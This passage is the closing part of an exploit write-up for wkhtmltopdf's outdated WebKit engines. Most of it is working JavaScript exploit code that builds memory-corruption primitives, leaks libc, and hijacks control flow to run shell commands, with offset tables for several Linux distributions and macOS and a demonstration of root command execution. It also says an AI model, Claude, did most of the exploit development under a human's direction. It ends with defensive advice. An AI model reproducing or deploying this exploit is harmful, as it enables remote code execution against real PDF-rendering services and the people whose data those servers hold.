else if(_c===0x228){ IMPLVT=0x293f228;WRAPVT=0x2a58950;STVT=0x2963d60;CINFO=0x2a58ae0;STGOT=0x2ae1858;GEGOT=0x2ae2260;PIE=1;useGOT=1;fpwk=_c;break; } // native wkhtmltoimage (PIE, GOT)
else if(_c===0x7e8){ IMPLVT=0x2bcc7e8;WRAPVT=0x2ce6170;STVT=0x2bf15a0;CINFO=0x2ce6300;STGOT=0x2d6ece8;GEGOT=0x2d6f770;PIE=1;useGOT=0;fpwk=_c;break; } // jammy CLI pdf (Full-RELRO PIE, FSOP)
else if(_c===0xa68){ IMPLVT=0x2bbda68;WRAPVT=0x2cd7170;STVT=0x2be25a0;CINFO=0x2cd7300;STGOT=0x2d5fce8;GEGOT=0x2d60768;PIE=1;useGOT=0;fpwk=_c;break; } // jammy wkhtmltoimage (Full-RELRO PIE, FSOP)
else if(_c===0x1a8){ IMPLVT=0x2a061a8;WRAPVT=0x2b1f970;STVT=0x2a2ada0;CINFO=0x2b1fb00;STGOT=0x2ba8820;GEGOT=0x2ba92b0;PIE=1;useGOT=0;fpwk=_c;break; } // trixie wkhtmltoimage (glibc 2.41)
else if(_c===0xf28){ IMPLVT=0x2a15f28;WRAPVT=0x2b2f970;STVT=0x2a3ada0;CINFO=0x2b2fb00;STGOT=0x2bb92b0;GEGOT=0x2bb92b0;PIE=1;useGOT=0;fpwk=_c;break; } // bookworm pdf (glibc 2.36, FSOP)
else if(_c===0x9e8){ if((rr[fi]&0xffff)===0x09e8){ IMPLVT=0x24f09e8;WRAPVT=0x26089f0;STVT=0x2513e20;CINFO=0x2608b80;STGOT=0x2691840;GEGOT=0x26922e8; } else { IMPLVT=0x24fe9e8;WRAPVT=0x26169f0;STVT=0x2521e20;CINFO=0x2616b80;STGOT=0x269f840;GEGOT=0x26a02e8; } PIE=0;useGOT=0;fpwk=_c;break; } // CentOS DO droplet non-PIE: pdf(impl_vt&0xffff=0xe9e8, default) + image(0x09e8) collide at fpwk 0x9e8
}
if(PIE){ var vsp=read2(impl-0xa, TV, 2); impl_vt=vsp.length>=1?vsp[0]:0; backing=vsp.length>=2?vsp[vsp.length-1]:0; Mb=impl_vt-IMPLVT; }
else { Mb=0x400000; impl_vt=Mb+IMPLVT; var vsn=read2(impl+6, TV, 1); backing=vsn.length?vsn[0]:0; }
}
var gidx=(GEGOT-STGOT)/4;
RES[10]=L(Mb);RES[11]=H(Mb);RES[12]=L(backing);RES[13]=H(backing);RES[16]=2; RES[28]=fpwk>>>0;
// ---- forge fake Uint32Array in TV backing; fa initially points at impl+0x10 (TV's real m_baseAddress) ----
var selfbase=impl+0x10;
TV[0]=L(Mb+WRAPVT);TV[1]=H(Mb+WRAPVT);
TV[2]=L(backing+0x80);TV[3]=H(backing+0x80);
TV[12]=L(backing+0x40);TV[13]=H(backing+0x40);
TV[16]=L(impl_vt);TV[17]=H(impl_vt);
TV[20]=L(selfbase);TV[21]=H(selfbase); // m_baseAddress = impl+0x10 (restore handle)
TV[26]=0x1000;
TV[32]=L(Mb+STVT);TV[33]=H(Mb+STVT);
TV[36]=0xa008;
TV[48]=L(Mb+CINFO);TV[49]=H(Mb+CINFO);
// pre-stage fake wide-vtable link X->Y (X=backing+0x100, Y=backing+0x280); healthy pre-fakeobj TV writes
var X=backing+0x100, Y=backing+0x280, lockaddr=backing+0xd0;
TV[(0x230)/4]=L(Y); TV[(0x230)/4+1]=H(Y); TV[(0x1e0)/4]=L(Y); TV[(0x1e0)/4+1]=H(Y); // X+0xe0 = _wide_vtable = Y
var fa=fakeobj(L(backing+0x00),H(backing+0x00));
RES[17]=(fa!==null)?1:0; RES[16]=3;
if(fa!==null){
// (1) restore TV's real m_baseAddress (fa currently = *(impl+0x10)) so TV[i] writes work again
RES[18]=fa[0]>>>0; RES[19]=fa[1]>>>0; // clobbered value (diag)
fa[0]=L(backing); fa[1]=H(backing);
RES[16]=4;
if(os==="macos"){
TV[20]=L(Mb+GEGOT); TV[21]=H(Mb+GEGOT); // point fa at _getenv lazy ptr
var mgl=fa[0]>>>0, mgh=fa[1]>>>0, mge=mgl+mgh*0x100000000; // = getenv (libSystem)
var msys=mge+DELTA, sidx=(STRTOLP-GEGOT)/4; // system = getenv+DELTA; _strtol lazy ptr
fa[sidx]=L(msys); fa[sidx+1]=H(msys); // overwrite _strtol -> system
new Date(CMD); // strtol(cmd) == system(cmd)
RES[3]=0xF00D0001; RES[16]=6;
} else {
// (2) re-point fa at strtol@GOT via TV (now healthy); read getenv@GOT -> libc
var STG=Mb+STGOT;
TV[20]=L(STG); TV[21]=H(STG);
var gl=fa[gidx]>>>0, gh=fa[gidx+1]>>>0;
RES[24]=gl; RES[25]=gh; RES[16]=5;
var getenv_addr=gl+gh*0x100000000;
// glibc fingerprint (page offset of getenv) -> FSOP offsets
var po=gl&0xfff;
var go=0x44b70, so=0x50d70, stream_o=0x21b6a0, wfj_o=0x2170c0, flush_o=0x8edf0; // default glibc 2.35 (Ubuntu jammy)
if(po===0xc50){ go=0x3ac50; so=0x45f10; stream_o=0x1cf5c0; wfj_o=0x1caf40; flush_o=0x7f6c0; } // glibc 2.31 (Debian bullseye)
if(po===0x0b0){ go=0x3f0b0; so=0x4c490; stream_o=0x1d4680; wfj_o=0x1d00a0; flush_o=0x83e50; } // glibc 2.36 (Debian bookworm)
if(po===0xd10){ go=0x35d10;so=0x40970;stream_o=0x3a8680;wfj_o=0x3a3ec0;flush_o=0x78b40; } // glibc 2.26 (Amazon Linux 2)
if(po===0xc0){ go=0x430c0;so=0x53110;stream_o=0x1e64e0;wfj_o=0x1e4228;flush_o=0x8d350; } // glibc 2.41 (Debian trixie)
if(po===0x8a0){ go=0x428a0; so=0x4f520; stream_o=0x1fc6c0; wfj_o=0x1f80a0; flush_o=0x85d40; } // CentOS glibc (DO droplet)
RES[27]=po>>>0;
var libc=getenv_addr-go;
var systemA=libc+so, stdout=libc+stream_o, wfj=libc+wfj_o;
RES[20]=L(libc);RES[21]=H(libc);RES[22]=L(systemA);RES[23]=H(systemA);
if(useGOT){ fa[0]=L(systemA); fa[1]=H(systemA); new Date(CMD); RES[3]=0xF00D0001; RES[16]=6; } else {
// (3) finish wide-vtable: Y+0x68 = system (backing write via healthy TV)
TV[(0x2e8)/4]=L(systemA); TV[(0x2e8)/4+1]=H(systemA);
// (4) point fa at stdout (single base), burst-write the FILE fields
TV[20]=L(stdout); TV[21]=H(stdout);
var cmd=" "+CMD;
var w=[0,0,0,0,0,0,0,0];
for(var ci=0;ci<cmd.length;ci++){ w[ci>>2] = (w[ci>>2] | (cmd.charCodeAt(ci)<<((ci&3)*8)))>>>0; }
for(var wi=0;wi<8;wi++){ fa[wi]=w[wi]>>>0; } // _flags..+0x1f = command string
fa[8]=0; fa[9]=0; // _IO_write_base(0x20)=0
fa[10]=1; fa[11]=0; // _IO_write_ptr(0x28)=1 (>_base -> flush)
fa[34]=L(lockaddr); fa[35]=H(lockaddr); // _lock(0x88) -> zeroed backing
fa[40]=L(X); fa[41]=H(X); // _wide_data(0xa0)=X
fa[48]=0; // _mode(0xc0)=0
fa[54]=L(wfj); fa[55]=H(wfj); // vtable(0xd8)=_IO_wfile_jumps
if(po===0xb70)alert("A");
// ---- PURE-JS INLINE TRIGGER (does not depend on wkhtmltopdf printing; --quiet-proof) ----
// Build a fake C++ vtable Z (all slots -> _IO_flush_all) in the TV backing, then point
// fa's own cell vtable at Z. JSC 534.34 dispatches property access through the cell C++
// vtable, so `fa.x` -> _IO_flush_all() -> flushes the corrupted stderr FILE
// -> _IO_wfile_overflow -> _IO_wdoallocbuf -> (Y+0x68)=system(stderr=" id>...") -> RCE.
var flushall=libc+flush_o, Zi=0x300>>2;
for(var zi=0; zi<64; zi++){ TV[Zi+zi*2]=L(flushall); TV[Zi+zi*2+1]=H(flushall); }
TV[0]=L(backing+0x300); TV[1]=H(backing+0x300); // fa cell vtable -> Z
RES[3]=0xF00D0001; RES[16]=6;
try{ fa.x0; }catch(e){}
try{ String(fa); }catch(e){}
try{ fa+""; }catch(e){}
if(po===0xb70)alert("A"); // also fires the trigger for non-quiet callers
RES[16]=7;
}
}
}
}
}
return 0;});
document.write("x");
}

/* ---------------- WebKit 602.1 (distro Qt5WebKit) ---------------- */
function run602(){
var _bb=new ArrayBuffer(8),_f=new Float64Array(_bb),_u=new Uint32Array(_bb);
function u2d(lo,hi){_u[0]=lo>>>0;_u[1]=hi>>>0;return _f[0];}
function d2u(d){_f[0]=d;return [_u[0]>>>0,_u[1]>>>0];}
function lo32(a){return (a%0x100000000)>>>0;}
function hi32(a){return Math.floor(a/0x100000000)>>>0;}
function ptrish(v){ if(typeof v!=='number'||v!==v||v===(v|0))return false; var p=d2u(v);
return (p[1]>=0x0001 && p[1]<=0x7fff && p[0]!==0); }
function gc(){ for(var i=0;i<6;i++){ var ab=new ArrayBuffer(1024*1024*10); ab=null; } }
var SID=0x61;
var dummy={d:1};
var oob=[1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8];
oob.pa=dummy; oob.pb=dummy; oob.pc=dummy; oob.pd=dummy;
var g=new Float64Array(16);
function trig(a){ var acc=0.0; for(var j=0;j<30000;j++){ acc+=a[j&7]; }
var hi=a[7]; g[0]=a[-1];g[1]=a[-2];g[2]=a[-3];g[3]=a[-4];g[4]=a[-5];g[5]=a[-6];g[6]=a[-7];g[7]=a[-8];
g[8]=a[-9];g[9]=a[-10];g[10]=a[-11];g[11]=a[-12];g[12]=a[-13];g[13]=a[-14];g[14]=a[-15];g[15]=a[-16];
return acc+hi; }
function warm(n){ for(var w=0;w<n;w++){ trig(oob); } }
(function(){ var vs=[1,2.5,-3,1e100,{},[],"s",null,true,0x1234,3.14,{q:1}];
for(var i=0;i<vs.length;i++){ oob.pa=vs[i]; } oob.pa=dummy; })();
function addrof(x){ oob.pa=x; trig(oob); var v=g[1]; oob.pa=dummy; return v; }
function addrN(x){ var d=addrof(x); return d2u(d)[1]*0x100000000+d2u(d)[0]; }
warm(400);
function mkv(addr){ var a=[0,4.243991582e-314,u2d(lo32(addr),hi32(addr)),3.5e-323,3.5e-323];
var f=document.body.appendChild(document.createElement('iframe'));
f.contentWindow.Array.prototype.__defineGetter__(100,function(){return 1;});
var sub=f.contentWindow.Array.prototype.slice.call(a,0,4); f.remove(); return sub[0]; }
function opt(obj){ for(var i=0;i<500;i++){} var tmp={a:1}; gc(); tmp.__proto__={};
for(var k in tmp){ tmp.__proto__={}; gc(); obj.__proto__={}; return obj[k]; } }
opt({});
var ctl=null, CTLBASE=0;
for(var t=0;t<8 && !ctl;t++){ var mem=new Uint32Array(0x400000); var r=opt(mem); warm(150);
var ba=addrof(r); if(ptrish(ba)){ ctl=mem; CTLBASE=d2u(ba)[1]*0x100000000+d2u(ba)[0]; } }
if(ctl){
var V=CTLBASE+0x100000;
ctl[2]=0;ctl[3]=0; ctl[4]=lo32(V);ctl[5]=hi32(V); ctl[6]=0x10000;ctl[7]=1; ctl[0]=SID; ctl[1]=0x01182600;
var fake=mkv(CTLBASE);
function setV(a,len){ ctl[4]=lo32(a); ctl[5]=hi32(a); ctl[6]=(len||0x1000)>>>0; ctl[7]=1; }
function safeV(){ ctl[4]=lo32(V); ctl[5]=hi32(V); ctl[6]=0x10000; ctl[7]=1; }
function rd64(a){ setV(a,0x100); var lo=fake[0]>>>0,hi=fake[1]>>>0; safeV(); return hi*0x100000000+lo; }
function rd32(a){ setV(a,0x100); var v=fake[0]>>>0; safeV(); return v; }
if(fake instanceof Uint32Array){
var vt=rd64(rd64(addrN(Math.sin)+0x18)+0x38), fpwk=vt&0xfff;
var LIBWK_VT_OFF=0x9646a0, GETENV_GOT=0x2cf5a10; // distro jammy 602.1 (fpwk=0x6a0)
var libwk=vt-LIBWK_VT_OFF;
var getenv_addr=rd64(libwk+GETENV_GOT), po=getenv_addr&0xfff;
var GETENV_OFF=0x44b70, SETCTX_OFF=0x539e0, EXECVE_OFF=0xeb080; // glibc 2.35 (po=0xb70)
var libc=getenv_addr-GETENV_OFF;
if(rd32(libc)===0x464c457f)
(function go(cmd){
var SETCTX=libc+SETCTX_OFF, EXECVE=libc+EXECVE_OFF;
function w(off,val){ ctl[off>>2]=lo32(val); ctl[(off>>2)+1]=hi32(val); }
function wstr(off,s){ var b=[]; for(var i=0;i<s.length;i++)b.push(s.charCodeAt(i)&0xff); b.push(0);
while(b.length%8)b.push(0);
for(var i=0;i<b.length;i+=8){ ctl[(off+i)>>2]=(b[i]|(b[i+1]<<8)|(b[i+2]<<16)|(b[i+3]<<24))>>>0;
ctl[(off+i+4)>>2]=(b[i+4]|(b[i+5]<<8)|(b[i+6]<<16)|(b[i+7]<<24))>>>0; } }
function A(off){ return CTLBASE+off; }
var O_VM=0x900000,O_TABLE=0x920000,O_STRUCT=0x930000,O_CI=0x940000;
var O_BINSH=0x950000,O_DASHC=0x950010,O_CMD=0x950020,O_ARGV=0x950200,O_ENVP=0x950300,O_PATH=0x950380,O_STACK=0x970000;
w(0xe8,A(O_VM)); w(O_VM+0x4630,A(O_VM)); w(O_VM+0xc0,A(O_TABLE)); w(0xb0,0);
w(O_TABLE+0,0); w(O_TABLE+0x61*8,A(O_STRUCT)); w(O_STRUCT+0,0); w(O_STRUCT+8,0);
w(O_STRUCT+0x40,A(O_CI)); w(O_CI+0x8,0);
for(var k=0;k<0x40;k++) w(O_CI+0x18+k*8,SETCTX);
wstr(O_BINSH,"/bin/sh"); wstr(O_DASHC,"-c"); wstr(O_CMD,cmd);
wstr(O_PATH,"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
w(O_ARGV+0,A(O_BINSH)); w(O_ARGV+8,A(O_DASHC)); w(O_ARGV+16,A(O_CMD)); w(O_ARGV+24,0);
w(O_ENVP+0,A(O_PATH)); w(O_ENVP+8,0);
w(0x28,0);w(0x30,0);w(0x48,0);w(0x50,0);w(0x58,0);w(0x60,0);w(0x78,0);w(0x80,0);w(0x98,0);
w(0x68,A(O_BINSH)); w(0x70,A(O_ARGV)); w(0x88,A(O_ENVP)); w(0xa0,A(O_STACK)); w(0xa8,EXECVE); w(0xe0,A(0x990000));
var junk=[]; for(var i=0;i<400;i++){ junk.push(new Uint8Array(0x10000)); }
})(CMD);
}
}
}
</script></body></html>
wk_pwn.py download

Running it is just rendering the page: feed exploit.html to wkhtmltopdf, or to any wrapper that calls it (pdfkit, wicked_pdf, Knp\Snappy) in that wrapper's default configuration, and read the result back.

$ wkhtmltopdf exploit.html out.pdf     # or via pdfkit / wicked_pdf, defaults unchanged
$ cat /tmp/pwn
uid=0(root) gid=0(root) groups=0(root)

On macOS the same file against the native binary returns uid=501(...), code execution as the invoking user.

On the collaboration

The division of labor was the one that makes work like this tractable for me at all: the model did the labor, I supplied the direction, and the interesting part is where the two diverged.

Claude ground through the mechanics without much help. It read the fork's JSArray.cpp, tuned the reclaim sizes, wrote and debugged the leak, built the FSOP chain field by field, ported every primitive to Mach-O, and stood up the tooling that pulled offsets out of cores. Where it needed direction was at the walls, because left to itself it treated too many of them as the finish line. When the Full-RELRO write faulted, its first read was that the target was hardened and the exploit was simply done, and House of Apple 2 happened because I would not accept that. It was satisfied with the alert() trigger because that trigger worked on the CLI it had been testing against, and it took running the exploit through pdfkit to expose it as caller-dependent and force the flag-independent version. The whole apt-versus-patched split only surfaced because I made it prove the current package was still the 2011 engine instead of assuming it.

The macOS port is the sharpest example. It started as a one-line question, "can this work on macOS," that the model had earlier filed in its own notes as out of scope. Given the push it took a single session, because the hard parts were already solved and the out-of-scope call had simply been wrong. The model supplies enormous breadth and stamina; what it still needs is someone who knows the domain well enough to tell a real wall from one of its own making, which is most of what the two detours in this post were.

Conclusion

The shape is familiar: a service that renders attacker-controlled HTML through an outdated, unmaintained browser engine can be driven to code execution, and the payload is ordinary JavaScript in the page. What stands out here is how little the exploit depends on the target's particulars. One use-after-free from 2011, one set of JavaScript primitives, and a finisher chosen by a page-offset fingerprint carry it across Partial and Full RELRO, five glibc versions, non-PIE and PIE builds, both front-ends, and a second operating system, in one self-contained file, under ASLR.

Scope, stated plainly: this is x86-64. It covers Linux with glibc and native macOS; it does not reach musl (Alpine) or arm64, which would need a different finisher and a different instruction set respectively. The offsets here are for the patched-qt build; the distribution apt package is the 602.1 target from Phase 7 instead.

If you generate PDFs from HTML that any user can influence, the defensive options are the usual ones, in rough order of preference: stop feeding attacker-controlled markup into the renderer; disable JavaScript in the converter (--disable-javascript); sandbox the render process so code execution buys the attacker as little as possible; or move off wkhtmltopdf entirely. The project is archived, and this bug will never be fixed.